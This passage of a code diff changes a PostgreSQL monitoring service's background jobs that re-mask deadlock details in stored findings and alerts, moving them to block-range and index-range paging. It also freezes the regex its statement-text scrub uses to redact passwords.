-                            reader.IsDBNull(11) ? null : reader.GetString(11),
-                            reader.GetString(12)))
-                        : new ResolvedReport(ReportState.Current, null);
+                if (page.Count >= MaxAlertRowsPerPass)
+                {
+                    next = new AlertLogCursor(page[^1].ServerId, AlertEngine.DeadlockWatermarkMetric, page[^1].AlertTime);
+                    break;
+                }
+
+                server = await NextServerAsync(connection, transaction, (long)current + 1, cancellationToken);
+                after = null;
+                if (server is { } following && ++steps >= MaxAlertStepsPerPage)
+                {
+                    /* A log of many servers with little to look at: end the page on the server it reached. */
+                    next = new AlertLogCursor(following, AlertEngine.DeadlockWatermarkMetric, null);
+                    break;
                 }
             }
 
@@ -801,18 +892,69 @@ static string Replace(string label, string value, List<(string OldKey, string Ne
                 await transaction.CommitAsync(cancellationToken);
             }
 
-            rowDone?.Invoke(i == page.Count - 1 || page[i + 1].AlertTime != row.AlertTime ? row.AlertTime : null, outcome);
+            rowDone?.Invoke(
+                i == page.Count - 1 || page[i + 1].AlertTime != row.AlertTime || page[i + 1].ServerId != row.ServerId
+                    ? new AlertLogCursor(row.ServerId, AlertEngine.DeadlockWatermarkMetric, row.AlertTime)
+                    : null,
+                outcome);
         }
 
-        var next = page.Count < MaxAlertRowsPerPass ? (DateTime?)null : page[^1].AlertTime;
         return (next, page.Count, rewritten, raced);
     }
 
-    /// <summary>How many stored analysis findings one slice examines.</summary>
-    public const int MaxFindingRowsPerPass = 500;
+    /// <summary>The first server at or after <paramref name="from"/> that has a row in the alert log, or null: one
+    /// descent of the index's leading column (<see cref="AlertServerProbeSql"/>).</summary>
+    private static async Task<int?> NextServerAsync(
+        NpgsqlConnection connection, NpgsqlTransaction transaction, long from, CancellationToken cancellationToken)
+    {
+        await using var probe = new NpgsqlCommand(AlertServerProbeSql, connection, transaction) { CommandTimeout = CommandBackstopSeconds };
+        probe.Parameters.Add(new NpgsqlParameter { Value = from, NpgsqlDbType = NpgsqlDbType.Bigint });
+        await using var reader = await probe.ExecuteReaderAsync(cancellationToken);
+        return await reader.ReadAsync(cancellationToken) ? reader.GetInt32(0) : null;
+    }
+
+    /// <summary>How many heap blocks of <c>analysis_findings</c> one slice reads (#5625): 2048 blocks of 8 KiB, 16 MiB.
+    /// The slice is bounded by the table's physical size, not by how many findings match, so a store with none to
+    /// rewrite still costs one slice a fixed read. On a 600,000-finding store (1,514 MB, none matching) the old page
+    /// read all 132,357 buffers (about 1 GB) and failed twice under the 15 s <see cref="StatementTimeoutSeconds"/>
+    /// on a cold or busy disk; 16 MiB is 1/64 of that, so a disk has to fall below about 1 MiB/s to time a slice
+    /// out, and a walk is about 65 slices on that store.</summary>
+    public const int FindingBlocksPerPass = 2048;
+
+    /// <summary>The block count of <c>analysis_findings</c> now (#5625): where a block-range walk ends. Read for each
+    /// slice, so a table that grew during the walk is walked to its new end (rows this build writes are already
+    /// stamped; the ones the walk rewrites are found again by the next walk).</summary>
+    public const string FindingBlockCountSql = @"
+SELECT pg_catalog.pg_relation_size('analysis_findings'::regclass) / pg_catalog.current_setting('block_size')::bigint,
+       pg_catalog.pg_relation_filenode('analysis_findings'::regclass)::bigint";
+
+    /// <summary>The file the block walk is reading (#5625). A <c>VACUUM FULL</c>, <c>CLUSTER</c> or <c>pg_repack</c>
+    /// of <c>analysis_findings</c> writes the live rows to a new file, packed toward block 0, so rows that sat at or
+    /// after the walk's cursor can land before it. <see cref="Filenode"/> is the file the walk's cursor belongs to
+    /// (null before its first page); <see cref="RemaskStoredFindingsAsync"/> reads the table's current one with the
+    /// block count and, when the two differ, sends the walk back to block 0 and sets <see cref="Restarted"/>.</summary>
+    public sealed class FindingWalk
+    {
+        /// <summary>The <c>pg_relation_filenode</c> of the table when the walk's cursor was last set.</summary>
+        public long? Filenode { get; set; }
+
+        /// <summary>True when the last page found a different file than the walk began in and returned to block 0.</summary>
+        public bool Restarted { get; private set; }
 
-    /// <summary>One page of stored analysis findings that carry a deadlock exemplar section, in physical order after
-    /// <c>$1</c> (null for the start). Only a finding whose chain holds a key the section is attached for (the deadlock
+        internal void Update(long? filenode, bool restarted)
+        {
+            Filenode = filenode;
+            Restarted = restarted;
+        }
+    }
+
+    /// <summary>One page of stored analysis findings that carry a deadlock exemplar section, from one physical block
+    /// range of the table (#5625): <c>$1</c> is the first block's <c>(block,0)</c> and <c>$2</c> the end of the range,
+    /// exclusive, so the read is a TID Range Scan of <see cref="FindingBlocksPerPass"/> blocks whatever matches. It was
+    /// <c>finding_id &gt; $1 ORDER BY finding_id</c>, and the table has no index on <c>finding_id</c> (the bulk ingest
+    /// goes without it), so every page was a Seq Scan and Sort of the whole table, 1 GB on a 600,000-finding store,
+    /// and a page with nothing to find still read all of it. Only a finding whose chain holds a key the section is
+    /// attached for (the deadlock
     /// rate fact or its anomaly, anywhere on the path, as <see cref="PgTargetDrillDownCollector"/> attaches it: #4012's
     /// review, finding 4) is looked into, by its <c>story_path</c>, a plain column holding the chain's keys joined
     /// with <c>" → "</c> (<c>InferenceEngine.BuildStory</c>), so every other finding's drill-down is never detoasted
@@ -825,18 +967,17 @@ static string Replace(string label, string value, List<(string OldKey, string Ne
     f.ctid::text,
     f.drill_down_json,
     f.story_text,
-    f.xmin,
-    f.finding_id
+    f.xmin
 FROM analysis_findings AS f
-WHERE ($1::bigint IS NULL OR f.finding_id > $1::bigint)
+WHERE f.ctid >= $1::tid
+AND   f.ctid <  $2::tid
 AND   CASE
           WHEN string_to_array(f.story_path, ' → ') && ARRAY['" + PgTargetFactKeys.DeadlockRate + "', '" + PgTargetFactKeys.AnomalyDeadlockRate + @"']
           THEN strpos(f.drill_down_json, '""" + PgTargetDrillDownCollector.DeadlockExemplarsSection + @"""') > 0
                AND strpos(f.drill_down_json, '""sql_normalized"":true') = 0
           ELSE false
       END
-ORDER BY f.finding_id
-FETCH FIRST $2 ROWS WITH TIES";
+ORDER BY f.ctid";
 
     /// <summary>Writes one finding's normalized drill-down and prose back, only while the row is still the version
     /// the page read (<c>ctid</c> and <c>xmin</c>), never by sending its raw text back (#4012's review).</summary>
@@ -865,27 +1006,62 @@ public static (string DrillDownJson, string StoryText)? RemaskFinding(string dri
     }
 
     /// <summary>
-    /// Examines one slice of stored analysis findings and rewrites the ones whose deadlock exemplars predate #4005
-    /// (#4012). Returns the cursor to resume from, null once the table's end is reached, and how many rows changed
-    /// between the read and the write, which were left as they were and need the table read again.
+    /// Examines one block range of stored analysis findings and rewrites the ones whose deadlock exemplars predate
+    /// #4005 (#4012, #5625). <paramref name="afterCursor"/> is the first block to read (null for the start) and the
+    /// returned cursor the next one, or null once the table's last block is behind it; it moves by
+    /// <see cref="FindingBlocksPerPass"/> blocks whether or not anything matched. Returns how many matching findings
+    /// were read, how many were rewritten, and how many changed between the read and the write, which were left as
+    /// they were and need the table read again. A cancel inside a slice leaves the cursor at the slice's start: the
+    /// rows it rewrote are stamped, so the next tick reads them no more. <paramref name="rowDone"/> is called with a
+    /// null cursor, for the same reason.
+    /// <paramref name="walk"/> carries the table's file across the walk's slices (#5625): when the file under a
+    /// cursor has been replaced (a table rewrite), the slice reads nothing and returns block 0, so the walk starts
+    /// again, and <see cref="FindingWalk.Restarted"/> tells the caller that walk is not a clean one.
     /// </summary>
+    public static Task<(long? NextCursor, int Examined, int Rewritten, int Raced)> RemaskStoredFindingsAsync(
+        NpgsqlConnection connection, long? afterCursor, Action<long?, RowOutcome>? rowDone,
+        CancellationToken cancellationToken = default) =>
+        RemaskStoredFindingsAsync(connection, afterCursor, rowDone, null, cancellationToken);
+
+    /// <inheritdoc cref="RemaskStoredFindingsAsync(NpgsqlConnection, long?, Action{long?, RowOutcome}?, CancellationToken)"/>
     public static async Task<(long? NextCursor, int Examined, int Rewritten, int Raced)> RemaskStoredFindingsAsync(
         NpgsqlConnection connection, long? afterCursor, Action<long?, RowOutcome>? rowDone,
-        CancellationToken cancellationToken = default)
+        FindingWalk? walk, CancellationToken cancellationToken)
     {
         ArgumentNullException.ThrowIfNull(connection);
 
-        var page = new List<(string Ctid, string DrillDown, string Story, uint Xmin, long FindingId)>();
+        var from = afterCursor ?? 0L;
+        long blocks;
+        long filenode;
+        var page = new List<(string Ctid, string DrillDown, string Story, uint Xmin)>();
         await using (var transaction = await BeginBoundedAsync(connection, cancellationToken))
         {
-            await using (var select = new NpgsqlCommand(FindingPageSql, connection, transaction) { CommandTimeout = CommandBackstopSeconds })
+            await using (var size = new NpgsqlCommand(FindingBlockCountSql, connection, transaction) { CommandTimeout = CommandBackstopSeconds })
+            {
+                await using var sizeReader = await size.ExecuteReaderAsync(cancellationToken);
+                await sizeReader.ReadAsync(cancellationToken);
+                blocks = sizeReader.GetInt64(0);
+                filenode = sizeReader.GetInt64(1);
+            }
+
+            if (walk is { Filenode: { } walkFilenode } && afterCursor is not null && walkFilenode != filenode)
+            {
+                /* The table was rewritten under the cursor: rows may now sit before it. Nothing is read; the walk
+                   begins again at block 0 and is not counted clean. */
+                await transaction.CommitAsync(cancellationToken);
+                walk.Update(filenode, restarted: true);
+                return (0L, 0, 0, 0);
+            }
+
+            if (from < blocks)
             {
-                select.Parameters.Add(new NpgsqlParameter { Value = (object?)afterCursor ?? DBNull.Value, NpgsqlDbType = NpgsqlDbType.Bigint });
-                select.Parameters.Add(new NpgsqlParameter { Value = (long)MaxFindingRowsPerPass, NpgsqlDbType = NpgsqlDbType.Bigint });
+                await using var select = new NpgsqlCommand(FindingPageSql, connection, transaction) { CommandTimeout = CommandBackstopSeconds };
+                select.Parameters.Add(new NpgsqlParameter { Value = string.Create(System.Globalization.CultureInfo.InvariantCulture, $"({from},0)"), NpgsqlDbType = NpgsqlDbType.Text });
+                select.Parameters.Add(new NpgsqlParameter { Value = string.Create(System.Globalization.CultureInfo.InvariantCulture, $"({from + FindingBlocksPerPass},0)"), NpgsqlDbType = NpgsqlDbType.Text });
                 await using var reader = await select.ExecuteReaderAsync(cancellationToken);
                 while (await reader.ReadAsync(cancellationToken))
                 {
-                    page.Add((reader.GetString(0), reader.GetString(1), reader.GetString(2), reader.GetFieldValue<uint>(3), reader.GetInt64(4)));
+                    page.Add((reader.GetString(0), reader.GetString(1), reader.GetString(2), reader.GetFieldValue<uint>(3)));
                 }
             }
 
@@ -893,9 +1069,8 @@ public static (string DrillDownJson, string StoryText)? RemaskFinding(string dri
         }
 
         int rewritten = 0, raced = 0;
-        for (var i = 0; i < page.Count; i++)
+        foreach (var row in page)
         {
-            var row = page[i];
             var outcome = RowOutcome.Unchanged;
             if (RemaskFinding(row.DrillDown, row.Story) is { } finding)
             {
@@ -915,10 +1090,11 @@ public static (string DrillDownJson, string StoryText)? RemaskFinding(string dri
                 await transaction.CommitAsync(cancellationToken);
             }
 
-            rowDone?.Invoke(i == page.Count - 1 || page[i + 1].FindingId != row.FindingId ? row.FindingId : null, outcome);
+            rowDone?.Invoke(null, outcome);
         }
 
-        var next = page.Count < MaxFindingRowsPerPass ? (long?)null : page[^1].FindingId;
+        var next = from + FindingBlocksPerPass >= blocks ? (long?)null : from + FindingBlocksPerPass;
+        walk?.Update(next is null ? null : filenode, restarted: false);
         return (next, page.Count, rewritten, raced);
     }
 
@@ -942,32 +1118,69 @@ public static (string DrillDownJson, string StoryText)? RemaskFinding(string dri
     public static string FindingAlertExemplarsHeading => FindingMessageFormatter.DrillDownHeading(PgTargetDrillDownCollector.DeadlockExemplarsSection);
 
     /// <summary>
-    /// One page of analysis finding alerts that carry a deadlock exemplar section flattened before #4005 (#4012's
-    /// review, finding 3), in <c>alert_time</c> order after <c>$1</c> (null for the start), <c>$2</c> rows and every
-    /// row tied with the last (#4036's round-2 review, finding 4: not physical order, which a dismissal's new copy of
-    /// a row can land behind), with the finding each was sent for when it is still stored. Only rows recorded since
-    /// <see cref="FindingAlertSectionSince"/> are looked into, and that test guards the text tests, so an older row's
-    /// context is never detoasted (finding 6). A finding alert flattens its drill-down into <c>context_json</c>
-    /// (<c>FindingMessageFormatter.BuildContext</c>): the section's <c>exemplars</c> as a 300-character JSON prefix that
-    /// holds the raw <c>deadlock_hash</c>, its <c>note</c> naming the raw victim fingerprint, and the advice the prose
-    /// was frozen with. The alert names its finding by server, category and the first eight characters of its story
-    /// hash (<c>FindingMessageFormatter.MetricName</c>); the finding is the newest such one analysed before the alert
-    /// was recorded, within a day. Only rows whose metric says <c>Analysis:</c> are looked into, and a section this
-    /// build flattened (its <c>Sql Normalized</c> field) or one the pass already rewrote or withheld is not read.
+    /// One slice of analysis finding alerts of ONE server (<c>$1</c>) and ONE metric (<c>$2</c>), in <c>alert_time</c>
+    /// order after <c>$3</c> (null for the pair's first row): the first <c>$4</c> rows recorded since
+    /// <see cref="FindingAlertSectionSince"/> and every row tied with the last (#4036: not physical order, which a
+    /// dismissal's new copy of a row can land behind). Server and metric are equalities and the time is a range, so the
+    /// read is one range of <c>idx_config_alert_log_time (server_id, metric_name, alert_time)</c> that starts at the
+    /// cursor and stops at the slice's size (#5625); an older row is never read, so its context is never detoasted
+    /// (#4036). Every row read comes back, with <c>needs</c> telling whether its context holds a deadlock exemplar
+    /// section flattened before #4005, so the walk's cursor moves over rows that need nothing; only the rows that need
+    /// work carry their <c>ctid</c>, context and finding. A finding alert flattens its drill-down into
+    /// <c>context_json</c> (<c>FindingMessageFormatter.BuildContext</c>): the section's <c>exemplars</c> as a
+    /// 300-character JSON prefix that holds the raw <c>deadlock_hash</c>, its <c>note</c> naming the raw victim
+    /// fingerprint, and the advice the prose was frozen with. The alert names its finding by server, category and the
+    /// first eight characters of its story hash (<c>FindingMessageFormatter.MetricName</c>), which is the metric the
+    /// slice reads; the finding is the newest such one analysed before the alert was recorded, within a day. A section
+    /// this build flattened (its <c>Sql Normalized</c> field) or one the pass already rewrote or withheld needs
+    /// nothing. Which metrics are <c>Analysis: </c> ones is the walk's loose scan (<see cref="AlertPairNextSql"/>), not
+    /// a range on <c>metric_name</c>, which a store with another collation could not be shown to match.
     /// </summary>
     public static readonly string FindingAlertPageSql = $@"
+WITH cand AS MATERIALIZED
+(
+    SELECT
+        a.ctid,
+        a.alert_time,
+        a.xmin,
+        a.context_json
+    FROM config_alert_log AS a
+    WHERE a.server_id = $1
+    AND   a.metric_name = $2
+    AND   a.alert_time >= '__SINCE__'::timestamp
+    AND   ($3::timestamp IS NULL OR a.alert_time > $3::timestamp)
+    ORDER BY a.alert_time
+    FETCH FIRST $4 ROWS WITH TIES
+),
+tested AS
+(
+    SELECT
+        c.ctid,
+        c.alert_time,
+        c.xmin,
+        c.context_json,
+        CASE
+            WHEN c.context_json IS NOT NULL
+            THEN strpos(c.context_json, '""Heading"":""{FindingAlertExemplarsHeading}""') > 0
+                 AND strpos(c.context_json, '{{""Label"":""Sql Normalized"",""Value"":""true""}}') = 0
+                 AND strpos(c.context_json, '{WithheldBefore4005}') = 0
+            ELSE false
+        END AS needs
+    FROM cand AS c
+)
 SELECT
-    a.ctid::text,
-    a.context_json,
-    a.xmin,
+    CASE WHEN t.needs THEN t.ctid::text END,
+    CASE WHEN t.needs THEN t.context_json END,
+    t.xmin,
     f.drill_down_json,
     f.story_text,
     f.severity,
     f.confidence,
     f.time_range_start,
     f.time_range_end,
-    a.alert_time
-FROM config_alert_log AS a
+    t.alert_time,
+    t.needs
+FROM tested AS t
 LEFT JOIN LATERAL
 (
     SELECT
@@ -978,26 +1191,15 @@ LEFT JOIN LATERAL
         f.time_range_start,
         f.time_range_end
     FROM analysis_findings AS f
-    WHERE f.server_id = a.server_id
-    AND   f.analysis_time <= a.alert_time
-    AND   f.analysis_time >= a.alert_time - INTERVAL '1 day'
-    AND   a.metric_name = 'Analysis: ' || CASE WHEN f.category = '' THEN 'finding' ELSE f.category END || ' [' || left(f.story_path_hash, 8) || ']'
+    WHERE t.needs
+    AND   f.server_id = $1
+    AND   f.analysis_time <= t.alert_time
+    AND   f.analysis_time >= t.alert_time - INTERVAL '1 day'
+    AND   $2::text = 'Analysis: ' || CASE WHEN f.category = '' THEN 'finding' ELSE f.category END || ' [' || left(f.story_path_hash, 8) || ']'
     ORDER BY f.analysis_time DESC
     LIMIT 1
 ) AS f ON true
-WHERE a.alert_time >= '{FindingAlertSectionSince.ToString("yyyy-MM-dd", System.Globalization.CultureInfo.InvariantCulture)}'::timestamp
-AND   ($1::timestamp IS NULL OR a.alert_time > $1::timestamp)
-AND   a.metric_name LIKE 'Analysis: %'
-AND   CASE
-          WHEN a.context_json IS NOT NULL
-           AND a.alert_time >= '{FindingAlertSectionSince.ToString("yyyy-MM-dd", System.Globalization.CultureInfo.InvariantCulture)}'::timestamp
-          THEN strpos(a.context_json, '""Heading"":""{FindingAlertExemplarsHeading}""') > 0
-               AND strpos(a.context_json, '{{""Label"":""Sql Normalized"",""Value"":""true""}}') = 0
-               AND strpos(a.context_json, '{WithheldBefore4005}') = 0
-          ELSE false
-      END
-ORDER BY a.alert_time
-FETCH FIRST $2 ROWS WITH TIES";
+ORDER BY t.alert_time".Replace("__SINCE__", FindingAlertSectionSince.ToString("yyyy-MM-dd", System.Globalization.CultureInfo.InvariantCulture), StringComparison.Ordinal);
 
     /// <summary>Writes one finding alert's context back, only while the row is still the version the page read
     /// (<c>ctid</c> and <c>xmin</c>). Its <c>detail_text</c> carries no drill-down and is not touched.</summary>
@@ -1171,37 +1373,91 @@ static bool SameNumber(string? stored, double value)
 
     /// <summary>
     /// Examines one slice of stored finding alerts and rewrites the ones whose deadlock exemplar section was
-    /// flattened before #4005 (#4012's review, finding 3). Returns the cursor to resume from, null once the log's
-    /// end is reached, and how many rows changed between the read and the write.
+    /// flattened before #4005 (#4012). Returns the cursor to resume from, null once the log's end is reached, how
+    /// many alerts were examined, and how many rows changed between the read and the write.
+    /// A slice walks the alert log in index order: for each server and <c>Analysis: </c> metric (found by a loose scan,
+    /// <see cref="AlertPairNextSql"/>) one range read of <see cref="FindingAlertPageSql"/>, until
+    /// <see cref="MaxFindingAlertRowsPerPass"/> alerts are examined or the log ends (#5625). Alerts are examined
+    /// whether or not they need work, so the cursor moves on a slice that rewrites nothing.
     /// </summary>
-    public static async Task<(DateTime? NextCursor, int Examined, int Rewritten, int Raced)> RemaskStoredFindingAlertsAsync(
-        NpgsqlConnection connection, DateTime? afterCursor, Action<DateTime?, RowOutcome>? rowDone,
+    public static async Task<(AlertLogCursor? NextCursor, int Examined, int Rewritten, int Raced)> RemaskStoredFindingAlertsAsync(
+        NpgsqlConnection connection, AlertLogCursor? afterCursor, Action<AlertLogCursor?, RowOutcome>? rowDone,
         CancellationToken cancellationToken = default)
     {
         ArgumentNullException.ThrowIfNull(connection);
 
-        var page = new List<(string Ctid, string Context, uint Xmin, string? DrillDown, string? Story, FindingDiagnosis? Diagnosis, DateTime AlertTime)>();
+        var page = new List<(string Ctid, string Context, uint Xmin, string? DrillDown, string? Story, FindingDiagnosis? Diagnosis, AlertLogCursor Key)>();
+        var examined = 0;
+        AlertLogCursor? next = null;
         await using (var transaction = await BeginBoundedAsync(connection, cancellationToken))
         {
-            await using (var select = new NpgsqlCommand(FindingAlertPageSql, connection, transaction) { CommandTimeout = CommandBackstopSeconds })
+            (int Server, string Metric, bool IsAnalysis)? pair;
+            DateTime? after;
+            if (afterCursor is { } resume)
             {
-                select.Parameters.Add(new NpgsqlParameter { Value = (object?)afterCursor ?? DBNull.Value, NpgsqlDbType = NpgsqlDbType.Timestamp });
-                select.Parameters.Add(new NpgsqlParameter { Value = (long)MaxFindingAlertRowsPerPass, NpgsqlDbType = NpgsqlDbType.Bigint });
-                await using var reader = await select.ExecuteReaderAsync(cancellationToken);
-                while (await reader.ReadAsync(cancellationToken))
+                /* A step cap can end a page on a pair of any name (#5625), so the cursor's own name says whether it is
+                   an Analysis one, the same test the probe's LIKE makes. */
+                pair = (resume.ServerId, resume.MetricName, resume.MetricName.StartsWith("Analysis: ", StringComparison.Ordinal));
+                after = resume.AlertTime;
+            }
+            else
+            {
+                pair = await NextAlertPairAsync(connection, transaction, null, cancellationToken);
+                after = null;
+            }
+
+            var steps = 0;
+            while (pair is { } current)
+            {
+                if (current.IsAnalysis)
                 {
-                    page.Add((
-                        reader.GetString(0),
-                        reader.GetString(1),
-                        reader.GetFieldValue<uint>(2),
-                        reader.IsDBNull(3) ? null : reader.GetString(3),
-                        reader.IsDBNull(4) ? null : reader.GetString(4),
-                        reader.IsDBNull(5) ? null : new FindingDiagnosis(
-                            reader.GetDouble(5),
-                            reader.GetDouble(6),
-                            reader.IsDBNull(7) ? null : reader.GetDateTime(7),
-                            reader.IsDBNull(8) ? null : reader.GetDateTime(8)),
-                        reader.GetDateTime(9)));
+                    DateTime? last = null;
+                    await using (var select = new NpgsqlCommand(FindingAlertPageSql, connection, transaction) { CommandTimeout = CommandBackstopSeconds })
+                    {
+                        select.Parameters.Add(new NpgsqlParameter { Value = current.Server, NpgsqlDbType = NpgsqlDbType.Integer });
+                        select.Parameters.Add(new NpgsqlParameter { Value = current.Metric, NpgsqlDbType = NpgsqlDbType.Text });
+                        select.Parameters.Add(new NpgsqlParameter { Value = (object?)after ?? DBNull.Value, NpgsqlDbType = NpgsqlDbType.Timestamp });
+                        select.Parameters.Add(new NpgsqlParameter { Value = (long)Math.Max(1, MaxFindingAlertRowsPerPass - examined), NpgsqlDbType = NpgsqlDbType.Bigint });
+                        await using var reader = await select.ExecuteReaderAsync(cancellationToken);
+                        while (await reader.ReadAsync(cancellationToken))
+                        {
+                            examined++;
+                            last = reader.GetDateTime(9);
+                            if (!reader.GetBoolean(10))
+                            {
+                                continue;
+                            }
+
+                            page.Add((
+                                reader.GetString(0),
+                                reader.GetString(1),
+                                reader.GetFieldValue<uint>(2),
+                                reader.IsDBNull(3) ? null : reader.GetString(3),
+                                reader.IsDBNull(4) ? null : reader.GetString(4),
+                                reader.IsDBNull(5) ? null : new FindingDiagnosis(
+                                    reader.GetDouble(5),
+                                    reader.GetDouble(6),
+                                    reader.IsDBNull(7) ? null : reader.GetDateTime(7),
+                                    reader.IsDBNull(8) ? null : reader.GetDateTime(8)),
+                                new AlertLogCursor(current.Server, current.Metric, last)));
+                        }
+                    }
+
+                    if (examined >= MaxFindingAlertRowsPerPass)
+                    {
+                        next = new AlertLogCursor(current.Server, current.Metric, last);
+                        break;
+                    }
+                }
+
+                pair = await NextAlertPairAsync(connection, transaction, (current.Server, current.Metric), cancellationToken);
+                after = null;
+                if (pair is { } following && ++steps >= MaxAlertStepsPerPage)
+                {
+                    /* Many servers and metrics with little to look at: end the page on the pair it reached, whatever its
+                       name, so every probe counts. */
+                    next = new AlertLogCursor(following.Server, following.Metric, null);
+                    break;
                 }
             }
 
@@ -1230,11 +1486,30 @@ static bool SameNumber(string? stored, double value)
                 await transaction.CommitAsync(cancellationToken);
             }
 
-            rowDone?.Invoke(i == page.Count - 1 || page[i + 1].AlertTime != row.AlertTime ? row.AlertTime : null, outcome);
+            rowDone?.Invoke(i == page.Count - 1 || page[i + 1].Key != row.Key ? row.Key : null, outcome);
         }
 
-        var next = page.Count < MaxFindingAlertRowsPerPass ? (DateTime?)null : page[^1].AlertTime;
-        return (next, page.Count, rewritten, raced);
+        return (next, examined, rewritten, raced);
+    }
+
+    /// <summary>The first (<paramref name="after"/> null) or next server and metric of the alert log in index order, with
+    /// whether the metric is an <c>Analysis: </c> one, or null at the log's end (<see cref="AlertPairFirstSql"/>,
+    /// <see cref="AlertPairNextSql"/>).</summary>
+    private static async Task<(int Server, string Metric, bool IsAnalysis)?> NextAlertPairAsync(
+        NpgsqlConnection connection, NpgsqlTransaction transaction, (int Server, string Metric)? after, CancellationToken cancellationToken)
+    {
+        await using var probe = new NpgsqlCommand(after is null ? AlertPairFirstSql : AlertPairNextSql, connection, transaction)
+        { CommandTimeout = CommandBackstopSeconds };
+        if (after is { } position)
+        {
+            probe.Parameters.Add(new NpgsqlParameter { Value = position.Server, NpgsqlDbType = NpgsqlDbType.Integer });
+            probe.Parameters.Add(new NpgsqlParameter { Value = position.Metric, NpgsqlDbType = NpgsqlDbType.Text });
+        }
+
+        await using var reader = await probe.ExecuteReaderAsync(cancellationToken);
+        return await reader.ReadAsync(cancellationToken)
+            ? (reader.GetInt32(0), reader.GetString(1), reader.GetBoolean(2))
+            : null;
     }
 
     /// <summary>How many consecutive failures of one stage end it for this process (#4012's review). Each failure is
@@ -1340,19 +1615,23 @@ public sealed class RemaskProgress
         public StageProgress FindingAlerts { get; } = new("finding alert");
 
         /// <summary>The alert walk's cursor: the last row it finished.</summary>
-        public DateTime? AlertCursor { get; set; }
+        public AlertLogCursor? AlertCursor { get; set; }
 
         /// <summary>The alert-key walk's cursor: the last row it finished.</summary>
-        public DateTime? AlertKeyCursor { get; set; }
+        public AlertLogCursor? AlertKeyCursor { get; set; }
 
         /// <summary>The report walk's cursor: the last batch it finished.</summary>
         public ReportCursor? ReportCursor { get; set; }
 
-        /// <summary>The finding walk's cursor: the last row it finished.</summary>
+        /// <summary>The finding walk's cursor (#5625): the next heap block to read.</summary>
         public long? FindingCursor { get; set; }
 
+        /// <summary>The file of <c>analysis_findings</c> the finding walk's cursor belongs to (#5625); a different
+        /// one at the next page means the table was rewritten and the walk starts again.</summary>
+        public long? FindingFilenode { get; set; }
+
         /// <summary>The finding-alert walk's cursor: the last row it finished.</summary>
-        public DateTime? FindingAlertCursor { get; set; }
+        public AlertLogCursor? FindingAlertCursor { get; set; }
 
         /// <summary>True once the alert-key stage has said it waits for a log-hash key; said once per process.</summary>
         public bool NoKeyWarned { get; set; }
@@ -1430,7 +1709,7 @@ public static async Task RunAsync(
                 if (ReferenceEquals(stage, progress.Alerts)) progress.AlertCursor = null;
                 else if (ReferenceEquals(stage, progress.Reports)) progress.ReportCursor = null;
                 else if (ReferenceEquals(stage, progress.AlertKeys)) progress.AlertKeyCursor = null;
-                else if (ReferenceEquals(stage, progress.Findings)) progress.FindingCursor = null;
+                else if (ReferenceEquals(stage, progress.Findings)) { progress.FindingCursor = null; progress.FindingFilenode = null; }
                 else progress.FindingAlertCursor = null;
             }
         }
@@ -1521,9 +1800,12 @@ void Counted(RowOutcome outcome)
                     }
                     else if (ReferenceEquals(stage, progress.Findings))
                     {
+                        var walk = new FindingWalk { Filenode = progress.FindingFilenode };
                         var (next, e, _, _) = await RemaskStoredFindingsAsync(
-                            connection, progress.FindingCursor, (row, outcome) => { progress.FindingCursor = row ?? progress.FindingCursor; Counted(outcome); }, cancellationToken);
+                            connection, progress.FindingCursor, (row, outcome) => { progress.FindingCursor = row ?? progress.FindingCursor; Counted(outcome); }, walk, cancellationToken);
                         progress.FindingCursor = next;
+                        progress.FindingFilenode = walk.Filenode;
+                        stage.WalkInterrupted |= walk.Restarted;
                         page = (next is null, e);
                     }
                     else
@@ -1534,6 +1816,14 @@ void Counted(RowOutcome outcome)
                         page = (next is null, e);
                     }
 
+                    if (stage.ConsecutiveFailures > 0)
+                    {
+                        /* #5634: the failure warnings end at the last failure; without this line nothing says the stage came back. */
+                        logger.LogInformation(
+                            "PostgreSQL deadlocks: re-masking stored {Stage} rows recovered; {Failures} earlier pass(es) in a row had failed, and this one succeeded",
+                            stage.Name, stage.ConsecutiveFailures);
+                    }
+
                     stage.ConsecutiveFailures = 0;
                     examined += page.Examined;
                     if (page.End)
diff --git a/Darling/PerformanceMonitor.Darling.Service/PgStatementTextScrub.cs b/Darling/PerformanceMonitor.Darling.Service/PgStatementTextScrub.cs
index 9e5cf4d5bd..1b8efa132e 100644
--- a/Darling/PerformanceMonitor.Darling.Service/PgStatementTextScrub.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/PgStatementTextScrub.cs
@@ -29,7 +29,7 @@ namespace PerformanceMonitor.Darling.Service;
 ///
 /// <para><b>A background job, not a migration</b> — the same design <see cref="PgSettingScrub"/> uses: both
 /// target tables already exist, so this reads candidate rows with the shared
-/// <see cref="PgSensitiveStatementFilter.SensitiveStatementPattern"/>, replaces the matching text with
+/// frozen <see cref="Version1Pattern"/>, replaces the matching text with
 /// <see cref="PgSensitiveStatementFilter.PlaceholderText"/>, and only updates rows the pattern actually
 /// names. Runs after startup, concurrently with the rest of the startup sequence, and never holds up
 /// collection.</para>
@@ -75,6 +75,21 @@ public static class PgStatementTextScrub
     /// trusting a stale "done".</summary>
     public const int ScrubVersion = 1;
 
+    /// <summary>The frozen pattern of the shipped version 1 scrub: the exact text of
+    /// <c>PgSensitiveStatementFilter.SensitiveStatementPattern</c> as it stood before the statement filter
+    /// was widened. It is never the live definition. No stored row is rewritten by the widening (Erik's
+    /// ruling, 2026-10-06), so this scrub keeps behaving exactly as the shipped one did and every predicate in
+    /// it uses this string; the wider shared pattern applies only to new rows (the collectors, before they
+    /// store) and on read. Changing this value would change what the one-shot scrub does to old rows, so a
+    /// pin test compares it with the literal.</summary>
+    public const string Version1Pattern =
+        "[[:<:]](create|alter)" + Version1TokenGap + "+(role|user|group|subscription|server)[[:>:]]"
+        + "|[[:<:]]password[[:>:]]" + Version1TokenGap + "*(=|to)?" + Version1TokenGap + "*(e?'|u&'|[$][^0-9])"
+        + "|[[:<:]](pg)?password[[:space:]]*=[[:space:]]*[^$[:space:]]"
+        + "|[a-z][a-z0-9+.-]*://[^[:space:]/@:]+:[^[:space:]/@]+@";
+
+    private const string Version1TokenGap = "([[:space:]]|/[*]([^*]|[*]+[^*/])*[*]+/|--[^[:cntrl:]]*)";
+
     /// <summary>The candidate read's deadline for one server's <c>pg_statement_text</c> batch.</summary>
     internal const int CandidateReadTimeoutSeconds = 300;
 
@@ -131,7 +146,7 @@ ON CONFLICT (server_id, collector_name, state_key)
 FROM collect.pg_statement_text
 WHERE server_id = $1
 AND   queryid > $2
-AND   query_text ~* " + PgSensitiveStatementFilter.SqlLiteral(PgSensitiveStatementFilter.SensitiveStatementPattern) + @"
